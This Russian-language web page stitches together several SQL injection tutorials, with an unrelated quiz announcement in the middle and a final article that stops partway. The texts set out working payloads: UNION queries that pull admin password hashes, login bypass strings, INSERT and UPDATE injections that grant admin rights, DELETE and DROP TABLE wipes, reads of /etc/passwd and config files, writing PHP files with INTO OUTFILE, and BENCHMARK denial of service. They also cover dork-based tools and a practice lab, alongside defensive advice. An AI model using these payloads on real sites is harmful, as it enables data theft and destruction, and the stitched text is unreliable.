Главная Обзоры

Sql инъекции. Что это такое? Как узнать версии MySQL

Небрежность и невнимательность, вот две причины написания кода, уязвимого для SQL инъекций. Третья причина - незнание, должна бы побуждать программиста к углублению своих знаний или даже изменения профессии.

SQL инъекция (SQL injection ) - уязвимость которая возникает при недостаточной проверке и обработке данных , которые передаются от пользователя, и позволяет модифицировать и выполнять непредвиденные кодом программы SQL запросы.

Инъекция SQL является широко распространенным дефектом безопасности в Internet, что легко используется без специальных программ и не требует глубоких технических знаний. Использование этой уязвимости дает путь к большим возможностям таким как:

кража данных - 80%;
отказ в обслуживании - 10 процентов;
подмена или уничтожение данных - 2-3%;
другие случаи и намерения.

Также существуют различные программы по тестированию безопасности сайта на всякие JS и SQL инъекции.

Подробное объяснение

В этой статье я попробую объяснить основные риски, которые возникают при взаимодействии между и базой данных MySQL. Для наглядности приведу пример простой структуры базы данных, которая является типичной для большинства проектов:

CREATE DATABASE `news`; USE `news`; # # таблица новостей # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем некоторые данные # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`="news text"; INSERT `news` SET `id`="2", `title`="second news", `date`="2005-06-24 12:12:33", `text`="test news"; # # таблица пользователей # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL DEFAULT "0", PRIMARY KEY (`id`)) TYPE=MyISAM; # # добавляем несколько пользователей, одного с правами админа, другого простого # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1"; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Видим, что запрос формируется в зависимости от значения $_GET["id"]. Для проверки наличия уязвимости достаточно изменить его на значение, которое может вызвать ошибку в выполнении SQL запроса.

Конечно, вывода ошибок может и не быть, но это не означает, что ошибки нет, как результат

«You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near """ at line 1»

или результат

http://test.com/index.php?id=2-1

при наличии уязвимости должен выдать результат, аналогичный

http://test.com/index.php?id=1 .

Подобные уязвимости позволяют модифицировать запрос в части параметра WHERE. Первое, что сделает злоумышленник при обнаружении такой уязвимости - исследует, какое количество полей используется в запросе. Для этого задается заведомо неверный id, чтобы исключить вывод реальной информации и объединяется с запросом с одинаковым количеством пустых полей.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

количество «null» должно соответствовать количеству полей, которые используются в запросе.

Если запрос выдает ошибку, добавляется еще одно пустое значение, до тех пор пока не исчезнет ошибка и не будет получен результат с пустыми данными. Далее объединенные поля заменяются на значения, которые можно визуально наблюдать на странице.

Например:

http://test.com/index.php?id=-1+UNION+SELECT+null

теперь на странице, где должен был быть показан заголовок новости, будет красоваться qwerty.

Как узнать версии MySQL?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Как вытащить логин текущего пользователя базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Как имя используемой базы данных?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Как получить другие данные из других таблиц?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Вот таким нехитрым способом узнают пароль или хэш пароля админа. Если же текущий пользователь имеет права доступа к базе «mysql», без малейших проблем злоумышленник получит хэш пароля админа.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Теперь его подбор это просто вопрос времени.

Поиск

Поиск - одно из наиболее уязвимых мест, поскольку одновременно передается большое количество параметров запроса. Пример простого запроса, который выполняет поиск по ключевому слову:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search - слово, которое передается с формы. Злоумышленник может передать в переменной $search="# теперь запрос будет выглядеть следующим образом:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Соответственно вместо результатов поиска по ключевому слову будут выданы все данные. Это также позволяет использовать возможность объединения запросов, описанную выше.

Использование параметра ORDER

Часто можно увидеть, что при введении параметров поиска, или выводе информации дают возможность пользователю сортировать данные по определенным полям. Скажу сразу, что использование данной уязвимости не является слишком опасным, поскольку при попытке объединения запросов вызовет ошибку, однако в паре с уязвимостями в других полях есть опасность закомментирования этого параметра.

http://test.com/index.php?sort=name

параметр ORDER формируется в зависимости от переменной $sort

Будет сформирован следующий запрос:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

тем самым комментируется одно из условий и параметр ORDER

Теперь можно снова объединить запрос, присвоив $sort=*/ UNION SELECT…

Как вариант использования уязвимости этого параметра:

SELECT * FROM `users` ORDER BY LENGTH(password);

Позволит отсортировать пользователей в зависимости от длины пароля, при условии, что он сохраняется в «чистом» виде.

Авторизация

Попробуем теперь рассмотреть варианты SQL инъекций, которые возникают при авторизации пользователей. Как правило запрос, который проверяет правильность данных авторизации выглядит следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

где $login и $password это переменные, которые передаются с формы. Подобный запрос возвращает данные по пользователю в случае успеха, а в случае неудачи пустой результат. Соответственно для того, чтобы пройти авторизацию злоумышленнику достаточно модифицировать запрос таким образом, чтобы он вернул ненулевой результат. Задается логин, который соответствует реальному пользователю, а вместо пароля указывается " OR "1"="1 Или какое-нибудь истинное условие (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 BETWEEN 1 AND 3). Соответственно запрос будет сформирован следующим образом:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

что вернет результат, а как следствие, приведет к несанкционированной авторизации. А если пароли в таблице хэшированные? Тогда проверку пароля просто «отключают», закомментировав все, что идет после `login`. В форме вместо логина назначается логин реального пользователя и "# тем самым закомментируется проверка пароля.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

как вариант "OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Большой ошибкой является проверка пароля следующим образом:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

поскольку в этом случае для любого логина подойдет пароль %

INSERT & UPDATE

Однако не только SELECT-ы являются уязвимым местом SQL. Не менее уязвимыми могут оказаться INSERT и UPDATE. Допустим, на сайте есть возможность регистрации пользователей. Запрос, который добавляет нового пользователя:

Уязвимость одного из полей позволяет модифицировать запрос с необходимыми данными. В поле login добавляем пользователь", "пароль", 1)# тем самым добавив пользователя с правами админа.

INSERT `users` SET `login`="пользователь", `password`="пароль", `admin`="0";

Допустим, что поле `admin` находится перед полем `login`, соответственно трюк с заменой данных, которые идут после поля `login` не проходит. Вспоминаем, что синтаксис команды INSERT позволяет добавлять не только одну строчку, а несколько. Пример уязвимости в поле login: $login= пользователь", "пароль"), (1, "хакер", "пароль")#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, "пользователь", "пароль"), (1, "хакер", "пароль")#", "пароль");

Таким образом создается 2 записи, одна с правами простого пользователя, другая с желаемыми правами админа.

Подобная ситуация и с UPDATE

Добавление дополнительных полей для изменения:

$login=", `password`="", `admin`="1

Тогда подобный запрос

UPDATE `users` SET `login`="чайник" WHERE `id`=2;

Модифицируется следующим образом:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Что произойдет? Пользователь с ID 2 изменит логин и пароль на пустые значения и получит права админа. Или в случае

$login=", `password`="" WHERE `id` =1#

Логин и пароль админа станут пустыми.

DELETE

Тут все просто, никаких данных получить или изменить не удастся, но удалить лишнее - всегда пожалуйста.

$id=1 OR 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // почистит все записи в таблице.

Вместо 1=1 может быть любое истинное условие, про которое говорилось выше. Может спасти параметр LIMIT, который ограничит количество удаленных строк, но не всегда, его могут просто закомментировать.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Работа с файлами через SQL инъекции

Сильно сомневаюсь, что это где-то может пройти, но справедливости ради нужно описать и такие способы. При включенных привилегиях file можно использовать команды LOAD_FILE и OUTFILE.

Про их опасность можно судить из нижеприведенных запросов:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Но на этом все беды еще не заканчиваются.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile "/home/test/www/test.php";

Вот так записываем файл, который содержит PHP код. Правда кроме кода, в нем будет еще несколько записей null но это никаким образом не повлияет на работоспособность PHP кода. Однако есть несколько условий, благодаря которым эти способы сработают:

Включена привилегия FILE для текущего пользователя базы данных;
Права на чтение или запись этих файлов для пользователя, под которым запускается MySQL сервер абсолютный путь к файлу;
менее важное условие - размер файла должен быть меньше чем max_allowed_packet, но поскольку в MySQL 3.23 размер наибольшего пакета может быть 16 мБ, а в 4.0.1 и более, размер пакета ограничивается только количеством доступной памяти, вплоть до теоретического максимума в 2 Гб это условие как правило всегда доступно.

Magic quotes

Магические кавычки делают невозможным использование SQL инъекций в строковых переменных, поскольку автоматически экранирует все " и " которые приходят с $_GET та $_POST. Но это не касается использования уязвимостей в целых или дробных параметрах, правда с поправкой, что нельзя будет использовать ". В этом случае помогает функция сhar.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS через SQL инъекцию.

Чуть не забыл сказать, а знатоки SQL подтвердят, что операция UNION возможна только в MySQL >=4.0.0. С облегчением вздохнули люди, у которых проекты на предыдущих версиях:) Но не все так безопасно, как выглядит на первый взгляд. Логику злоумышленника иногда сложно проследить. «Не получится взломать, так хоть завалю» подумает хацкер, набирая функцию BENCHMARK для примера запрос

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Выполнялся у меня от 12 до 15 секунд. Добавив нолик - 174 секунды. На большее у меня просто не поднялась рука. Конечно, на мощных серверах такие вещи будут выполняться намного быстрее, но…BENCHMARK позволяет вкладывать себя один в один. Вот так:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Или даже вот так

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Да и количество нулей ограничено разве что «добротой» того, кто их набирает.

Я думаю, что даже ОЧЕНЬ мощная машина, не сможет с легкостью проглотить такие запросы.

Итог

На этом все. В этой статье я старался максимально охватить варианты уязвимостей, которые допускают программисты при создании программ с использованием баз данных MySQL. Однако я более чем уверен, что это далеко не полный перечень.

Важно запомнить правила против SQL инъекций

Не доверяйте НИКАКИМ данным, которые приходят от пользователя. Речь идет не только о данных, которые передаются массивами $_GET и $_POST. Не следует забывать про $_COOKIE и другие части HTTP заголовков. Следует помнить про те, что их легко подменить.
Не стоит надеяться на опцию PHP «magic quotes», которые наверно больше мешают чем помогают. Все данные, которые передаются в базу данных должны быть сведены по типам с полями базы данных. ($id=(int)$_GET["id"]) или защищены функциями mysql_real_escape_string или mysql_real_escape_string.
mysql_real_escape_string не экранирует % и _, поэтому не стоит ее использовать в паре с LIKE.
Не стоит также сильно надеяться на правильно написанный mod_rewrite. Это только способы для создания «удобных» URL, но уж никак не способ защиты от SQL инъекций.
Отключите вывод информации об ошибках.
Не помогайте нехорошим посетителям. Даже если ошибка будет выявлена, отсутствие информации о ней серьезно затруднит ее применение. Помните про разницу между стадией разработки и рабочим проектом. Вывод ошибок и другой детальной информации - ваш союзник на стадии разработки, и союзник злоумышленника в рабочем варианте. Не стоит также прятать их, комментируя в HTML коде, на 1000-чу посетителей найдется 1, который таки найдет подобные вещи.
Обрабатывайте ошибки.
Напишите обработку SQL запросов таким образом, чтобы информация о них сохранялась в каких-нибудь логах или отсылалась по почте.
Не сохраняйте данные доступа к базе данных в файлах, которые не обрабатываются PHP как код.
Думаю никому не открыл Америки, но по собственному опыту могу сказать, что подобная практика достаточно распространена. Как правило это файл с расширением *.inc
Не создавайте «супер-пользователя» базы данных.
Предоставляйте только права, необходимые для выполнения конкретных задач.
В поиске стоит ограничить минимальное и максимальное количество символов, являющееся параметрами запроса.
Для честного пользователя вполне достаточно от 3-х до 60-70 символов, чтобы удовлетворить свои поисковые интересы, и одновременно вы предупреждаете ситуации, когда поисковым запросом станет том «Войны и мира».
Всегда проверяйте количество возвращенных записей после запроса

Почти на 90% сайтов, написанных на php встречается такая логическая ошибка, особенно это можно наблюдать, когда делается запрос на основе полученного ID от пользователя, если руками дать скрипту несуществующий ID - мы увидим достаточно интересные результаты работы некоторых скриптов, вместо того чтобы вернуть 404 программа в лучшем случае ничего не сделает и выведет в чистую страницу.

Безопасного вам SQL .

Количество сайтов и страничек в Сети неуклонно растёт. За разработку берутся все, кто только может. И начинающие веб-программисты очень часто используют небезопасный и старый код. А это создаёт массу лазеек для злоумышленников и хакеров. Чем они и пользуются. Одна из самых классических уязвимостей — SQL-инъекция.

Немного теории

Многие знают, что большинство сайтов и сервисов в сети используют для хранения базы SQL. Это такой язык структурированных запросов, который позволяет управлять и администрировать хранилища с данными. Известно много различных версий систем менеджмента базами данных — Oracle, MySQL, Postgre. Вне зависимости от имени и типа, они одинаково используют запросы к данным. Именно здесь и кроется потенциальная уязвимость. Если разработчик не смог правильно и безопасно обработать запрос, то злоумышленник может воспользоваться этим и применить особые тактики для получения доступа к базе, а оттуда - и к управлению всем сайтом.

Для избежания таких ситуаций нужно грамотно оптимизировать код и внимательно следить за тем, какой запрос каким способом обрабатывается.

Проверка на SQL-инъекции

Для установления наличия уязвимости в сети имеется масса готовых автоматизированных программных комплексов. Но можно осуществить простую проверку и вручную. Для этого нужно перейти на один из исследуемых сайтов и в адресной строке попробовать вызвать ошибку базы данных. К примеру, скрипт на сайте может не обрабатывать запросы и не обрезать их.

Например, есть некий_сайт/index.php?id=25

Самый лёгкий способ — поставить после 25 кавычку и отправить запрос. Если никакой ошибки не возникло, то либо на сайте фильтруются все запросы и правильно обрабатываются, либо в настройках отключён их вывод. Если страница перезагрузилась с проблемами, значит, уязвимость для SQL-инъекции есть.

После того как она обнаружена, можно пробовать избавиться от нее.

Для реализации данной уязвимости нужно знать немного о Одна из них — UNION. Она объединяет несколько результатов запроса в один. Так можно вычислить количество полей в таблице. Пример первого запроса выглядит так:

некий_сайт/index.php?id=25 UNION SELECT 1.

В большинстве случаев такая запись должна выдать ошибку. Это значит, что количество полей не равно 1. Таким образом, подбирая варианты от 1 и больше, можно установить их точное число:

некий_сайт/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

То есть, когда ошибка перестанет появляться, значит, количество полей угадано.

Есть также и альтернативный вариант решения этой проблемы. Например, когда число полей большое — 30, 60 или 100. Это команда GROUP BY. Он группирует результаты запроса по какому-либо признаку, например id:

некий_сайт/index.php?id=25 GROUP BY 5.

Если ошибок не было получено, значит, полей больше, чем 5. Таким образом, подставляя варианты из довольно обширного диапазона, можно вычислить, сколько же их на самом деле.

Данный пример SQL-инъекции - для новичков, которые хотят попробовать себя в тестировании своего сайта. Важно помнить, что за несанкционированный доступ к чужому имеется статья Уголовного кодекса.

Основные типы инъекций

Реализовать уязвимости посредством SQL-инъекции можно несколькими вариантами. Далее идут наиболее популярные методики:

UNION injection. Простой пример данного типа был уже рассмотрен выше. Реализуется он за счёт ошибки в проверке приходящих данных, которые никак не фильтруются.

Error-based SQL injection. Как понятно из названия, данный тип также использует ошибки, посылая выражения, составленные синтаксически неправильно. Затем происходит перехват заголовков ответа, анализируя которые, можно провести впоследствии SQL-инъекцию.

Stacked injection. Данная уязвимость определяется выполнением последовательных запросов. Характеризуется он присоединением в конце знака «;». Этот подход чаще реализуется для доступа к реализации чтения и записи данных или же управлением функциями операционной системы, если привилегии это позволяют.

Программные комплексы для поиска SQL-уязвимостей

Наличествующие для проведения SQL-инъекций, программы обычно имеют две составляющих — сканирование сайта на возможные уязвимости и их использование для получения доступа к данным. Существуют такие утилиты практически для всех известных платформ. Их функционал в значительной мере облегчает проверку сайта на возможность взлома SQL-инъекцией.

Sqlmap

Очень мощный сканер, работающий с большинством известных СУБД. Поддерживает различные методики внедрения SQL-инъекций. Имеет возможность автоматического распознавания типа хэша пароля и его взлома по словарю. Присутствует и функционал загрузки и выгрузки файлов с сервера.

Установка в среде Linux выполняется с помощью команд:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
cdsqlmap-dev/,
./sqlmap.py --wizard.

Для Windows имеется как вариант с командной строкой, так и с графическим интерфейсом пользователя.

jSQL Injection

jSQL Injection — кроссплатформенный инструмент для тестирования использования SQL уязвимостей. Написан на Java, поэтому в системе должен быть установлен JRE. Способен обрабатывать запросы header, cookie. Обладает удобным графическим интерфейсом.

Установка данного программного комплекса происходит так:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v{1,2}.{1,2}/jsql-injection-v{1,2}.{1,2}.jar"| head-n 1`

Запуск осуществляется с помощью команды java -jar ./jsql-injection-v*.jar

Для того чтобы начать проверку сайта на SQL-уязвимость, нужно ввести его адрес в верхнее поле. Они есть отдельные для GET и для POST. При положительном результате в левом окне появится список доступных таблиц. Их можно просмотреть и узнать некую конфиденциальную информацию.

Для поиска административных панелей используется вкладка «Admin page». На ней с помощью специальных шаблонов выполняется автоматический поиск системных записей привилегированных пользователей. Из них можно получить всего лишь хэш пароля. Но и он имеется в инструментарии программы.

После нахождения всех уязвимостей и инъектирования нужных запросов, утилита позволит залить на сервер свой файл или же, наоборот, скачать его оттуда.

SQLi Dumper v.7

Данная программа — простой в использовании инструмент для поиска и реализации уязвимостей в SQL. Производит оон это на основе так называемых дорков. Их списки можно найти в интернете. Дорки для SQL-инъекций — это специальные шаблоны поисковых запросов. С их помощью можно найти потенциально через любой поисковик.

Инструменты для тренировки

На сайте itsecgames.com имеется специальный набор инструментария, который позволяет на примере показывает как сделать SQL инъекцию и протестировать ее. Для того чтобы воспользоваться, её нужно скачать и установить. Архив содержит в себе набор файлов, который представляет собой структуру сайта. Для его установки понадобится имеющийся в системе набор веб-сервера Apache, MySQL и PHP.

Распаковав архив в папку веб-сервера, надо перейти по адресу, введённому при установке данного программного продукта. Откроется страница с регистрацией пользователя. Здесь нужно ввести свои данные и нажать «Create». Переведя пользователя в новое окно, система предложит выбрать один из вариантов тестирования. Среди них имеется как описываемые инъекции, так и много других тестовых заданий.

Стоит рассмотреть пример SQL-инъекции типа GET/Search. Здесь нужно выбрать ее и нажать «Hack». Перед пользователем предстанет строка поиска и имитация некоего сайта с фильмами. Перебирать фильмы можно долго. Но их всего 10. К примеру, можно попробовать ввести Iron Man. Выведется фильм, значит, сайт работает, и таблицы в нем имеются. Теперь надо проверить, фильтрует ли скрипт особые символы, в частности кавычку. Для этого в строку адреса нужно добавить "». Причём, сделать это надо после названия фильма. Сайт выдаст ошибку Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1, которая гласит о том, что символы всё-таки обрабатываются неправильно. Значит, можно пробовать подставить свой запрос. Но нужно сначала вычислить количество полей. Для этого используется order by, который вводится после кавычки: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Данная команда просто выведет сведения о фильме, то есть количество полей больше 2. Двойной дефис сообщает серверу, что остальные запросы нужно отбросить. Теперь надо перебирать, подставляя все большие значения до тех пор, пока не выведется ошибка. В итоге получится, что полей будет 7.

Теперь настало время получить что-то полезное из базы. Придётся немного модифицировать запрос в адресной строке, приведя ее к такому виду: http://testsites.com/sqli_1.php?title=Iron+Man" union select 1, database(),user(),4,password,6,7 from users --&action=search. В результате её выполнения выведутся строки с хэшами паролей, которые можно легко превратить в понятные символы с помощью одного из онлайн сервисов. А немного поколдовав и подобрав имя поля с логином, можно получить доступ к чужой записи, например админа сайта.

В продукте имеется масса разновидностей типов инъекций, на которых можно попрактиковаться. Стоит помнить, что применение данных навыков в сети, на реальных сайтах может оказаться уголовно наказуемым.

Инъекции и PHP

Как правило, именно PHP-код и отвечает за необходимую обработку запросов, приходящих от пользователя. Поэтому именно на этом уровне нужно выстраивать защиту от SQL-инъекций в PHP.

Данные всегда должны быть обработаны перед помещением в базу. Это можно реализовать либо используя уже имеющиеся выражения, либо организовывая запросы вручную. Здесь тоже стоит учитывать, что числовые значения преобразовываются к тому типу, который необходим;
Избегать в запросе появления различных управляющих конструкций.

Теперь немного о правилах составления запросов в MySQL для защиты от SQL-инъекций.

При составлении каких-либо выражений для запроса важно отделять данные от ключевых слов SQL.

SELECT * FROM table WHERE name = Zerg.

В данной конструкции система может подумать, что Zerg — это имя какого-либо поля, поэтому нужно заключить его в кавычки.

SELECT * FROM table WHERE name = "Zerg".

Однако, бывают ситуации, когда значение само по себе содержит кавычки.

SELECT * FROM table WHERE name = "кот-д"ивуар".

Здесь обработается только часть кот-д, а остальная может быть воспринята как команда, которой, естественно, нет. Поэтому возникнет ошибка. Значит нужно такого рода данные экранировать. Для этого используется обратный слэш - \.

SELECT * FROM table WHERE name = "кот-д\"ивуар".

Все вышеперечисленное относится к строкам. Если действие происходит с числом, то ему не нужны ни кавычки ни слэши. Однако их надо обязательно в принудительном порядке приводить к необходимому типу данных.

Существует рекомендация, по которой имя поля должна быть заключена в обратную кавычку. Этот символ находится в левой части клавиатуры, вместе со знаком тильда «~». Это нужно для того, чтобы MySQL могла точно отличить имя поля от своего ключевого слова.

Динамическая работа с данными

Очень часто для получения каких-либо данных из базы используются запросы, сформированные динамически. Например:

SELECT * FROM table WHERE number = "$number".

Здесь переменная $number передается в качестве определения значения поля. Что же будет, если в неё попадёт "кот-д"ивуар"? Ошибка.

Избежать данной неприятности, конечно, можно включив «волшебные кавычки» в настройках. Но теперь данные будут экранироваться там, где надо и не надо. К тому же если код пишется вручную, то можно потратить немного больше времени на то, чтобы создать стойкую к взлому систему самому.

Для самостоятельного добавления слэша можно использовать mysql_real_escape_string.

$number=mysql_real_escape_string($number);

$year=mysql_real_escape_string($year);

$query="INSERT INTO table (number,year,class) VALUES ("$number","$year",11)".

Хотя код и вырос в объеме, все же, потенциально он будет работать гораздо безопаснее.

Плейсхолдеры

Плейсхолдеры — своеобразные маркеры, по которым система узнает что в это место нужно подставить специальную функцию. Например:

$sate = $mysqli->prepare("SELECT District FROM Number WHERE Name=?");

$sate->bind_param("s", $number);

$sate->execute();

Данный участок кода производит подготовку шаблона запроса, затем привязывает переменную number, и выполняет его. Данный подход позволяет разделить обработку запроса и его реализацию. Таким образом, можно уберечься от использования внедрения вредоносного кода в SQL-запросы.

Что может сделать злоумышленник

Защита системы - очень важный фактор, которым нельзя пренебрегать. Конечно, простенький сайт-визитку будет проще восстановить. А если это большой портал, сервис, форум? Какие последствия могут быть, если не думать о безопасности?

Во-первых, хакер может нарушить как целостность базы, так и удалить её целиком. И если администратор сайта или хостер не сделали бэкап, то придётся несладко. Помимо всего, злоумышленник, взломав один сайт, может перейти на другие, размещённые на этом же сервере.

Далее идет хищение личных данных посетителей. Как их использовать — тут все ограничивается лишь фантазией хакера. Но в любом случае последствия будут не очень приятными. Тем более если содержалась финансовая информация.

Также злоумышленник может слить базу себе, а затем вымогать деньги за её возврат.

Дезинформация пользователей от имени лицом им не являющимся, также может нести негативные последствия, так как возможны факты мошенничества.

Заключение

Вся информация в данной статье предоставлена исключительно в ознакомительных целях. Использовать её нужно только для тестирования собственных проектов при обнаружении уязвимостей и их устранения.

Для более углублённого изучения методики того, как провести SQL-инъекцию, нужно начать собственно с исследования возможностей и особенностей языка SQL. Как составляются запросы, ключевые слова, типы данных и применение всего этого.

Также не обойтись без понимания работы функций PHP и элементов HTML. Основными уязвимыми точками для использования инъекций — адресная строка, поиск и различные поля. Изучение функций PHP, способ их реализации и возможности позволят понять, как можно избежать ошибок.

Наличие множества готовых программных инструментов позволяют провести глубокий анализ сайта на известные уязвимости. Один из наиболее популярных продуктов — kali linux. Это образ операционной системы на базе Linux, который содержит в себе большое количество утилит и программ, способных провести разносторонний анализ сайта на прочность.

Для чего нужно знать, как взломать сайт? Все очень просто — это надо для того, чтобы иметь представление о потенциально уязвимых местах своего проекта или сайта. Особенно если это какой-либо интернет-магазин с возможностью оплаты онлайн, где платёжные данные пользователя могут быть скомпрометированы злоумышленником.

Для профессионального исследования существуют службы информационной безопасности смогут проверить сайт по разным критериям и глубине. Начиная от простой HTML-инъекции и до социальной инженерии и фишинга.

Мы желаем вам успехов в его прохождении. Итоги вашего прохождения будут опубликованы позже (следите за новостями в соц. сетях), а также всем прошедшим в дальнейшем будет выслан инвайт для регистрации на сайте.

Ставьте лайки, делитесь с друзьями и коллегами, репостите в соц.сетях.

Все программисты читали или по крайней мере слышали о методах взлома безопасности веб-сайта. Или даже столкнулись с этой проблемой. С другой стороны, бесконечна фантазия тех, кто хочет сломать сайт, поэтому все узкие места должны быть хорошо защищены. Вот почему я хотел бы начать серию коротких статей, где будут представлены основные методы и приемы взлома веб-сайтов.

В первой статье я хотел бы описать и разъяснить некоторые общие методы взлома одного из самых уязвимых частей сайта — форм. Я буду подробно останавливаться на том, как использовать эти методы и как предотвратить атаки, а также расскажу о тестировании безопасности.

SQL инъекции

SQl-инъекция — это такая техника, когда злоумышленник вводит команды SQL в input поле на веб-странице. Этим imput`ом может быть что угодно — текстовое поле в форме, параметры _GET и _POST, cookies и т. д. Этот метод был весьма эффективным до появления фреймворков в мире PHP. Но этот способ взлома может быть по-прежнему опасен, если вы не используете ORM или какие-либо еще расширения для data object. Почему? Из-за способа передачи параметров в SQL запрос.

"Слепые" инъекции

Давайте начнем с классического примера SQL-statement`а, возвращающего пользователя по его логину и хешу от пароля (страница входа)

Пример 1

mysql_query ("SELECT id, login FROM users WHERE login = ? and password = hash(?)");

Я подставил вопросительные знаки в выражение из-за различных вариаций этого решения. Первый вариант, на мой взгляд, самый уязвимый:

Пример 1а

Mysql_query("SELECT id, login FROM users WHERE login = "" . $login . "" and password = hash("" . $password . "")");

В этом случае в коде нет проверки на ввод неправильных данных. Значения передаются прямо из формы ввода в SQL запрос. В самом лучшем случае пользователь введет здесь свои логин и пароль. Что случится в худшем случае? Давайте попробуем хакнуть эту форму. Это можно сделать, передав "подготовленные" данные. Попытаемся войти как первый пользователь из базы данных, а в большинстве случаев — это админский аккаунт. Для этого, передадим специальную строку вместо ввода логина:

" OR 1=1; --

Первая кавычка может быть и одинарной, поэтому одной попыткой взлома можно не обойтись. В конце стоят точка с запятой и два дефиса, чтобы всё, что идёт после превратилось в комментарий. В результате будет выполнен следующий SQL запрос:

SELECT id, login FROM users WHERE login = “;” OR 1=1 LIMIT 0,1; - and password = hash(“;Some password”)

Он вернет первого пользователя из базы данных и, возможно, залогинится под ним в приложении. Хорошим ходом будет добавить LIMIT, чтобы входить под каждым отдельным пользователем. Это единственное, что нужно, чтобы пройти по каждому значению.

Более серьезные способы

В предыдущем примере всё не так уж страшно. Возможности в админской панели управления всегда имеют ограничения и потребуется реально много работы, чтобы поломать сайт. А вот атака через SQL инъекции может привести к куда большим повреждениям системы. Задумайтесь, сколько приложений создаются с главной таблицей "users" , и что будет, если злоумышленник введет такой код в незащищённую форму:

My favorite login"; DROP TABLE users; --

Таблица "users" будет удалена. Это одна из причин почаще делать бэкапы баз данных.

_GET параметры

Все параметры, заполненные через форму, передаются на сервер одним из двух методов — GET или POST. Наиболее распространенный параметр, передаваемый через GET — id. Это одно из самых уязвимых мест для атак, при этом неважно, какого вида урл вы используете — ` http://example.com/users/?id=1 `, или ` http://example.com/users/1 `, или ` http://......./.../post /35 `.

Что произойдет, если мы подставим в урл следующий код?

Http://example.com/users/?id=1 AND 1=0 UNION SELECT 1,concat(login,password), 3,4,5,6 FROM users WHERE id =1; --

Вероятно, такой запрос вернет нам логин пользователя и... хеш от его пароля. Первая часть запроса `AND 1=0` превращает то, что перед ним в false, соответственно никаких записей не будет получено. А вторая часть запроса вернет данные в виде prepared data. А так как первым параметром идет id, следующим будет логин пользователя и хеш его пароля и еще сколько-то параметров. Существует множество программ, с помощью брутфорса декодирующих такой пароль, как в примере. А так как пользователь может использовать один и тот же пароль для разных сервисов, можно получить доступ и к ним.

И вот что любопытно: от такого способа атаки совершенно невозможно защититься методами вроде `mysql_real_escape_string`, `addslashes` и.т. д. В принципе, нет способа избежать такой атаки, поэтому, если параметры будут передаваться так:

"SELECT id, login, email, param1 FROM users WHERE id = " . addslashes($_GET["id"]);"

проблемы не исчезнут.

Экранирование символов в строке

Когда я был новичком в программировании, мне было тяжело работать с кодировками. Я не понимал, в чем между ними различие, зачем использовать UTF-8, когда нужно UTF-16, почему база данных постоянно устанавливает кодировку в latin1. Когда я наконец начал всё это понимать, то обнаружил, что проблем станет меньше, если хранить всё в одном стандарте кодирования. Разбираясь со всем этим, я заметил также и проблемы безопасности, возникающие при преобразовании из одной кодировки в другую.

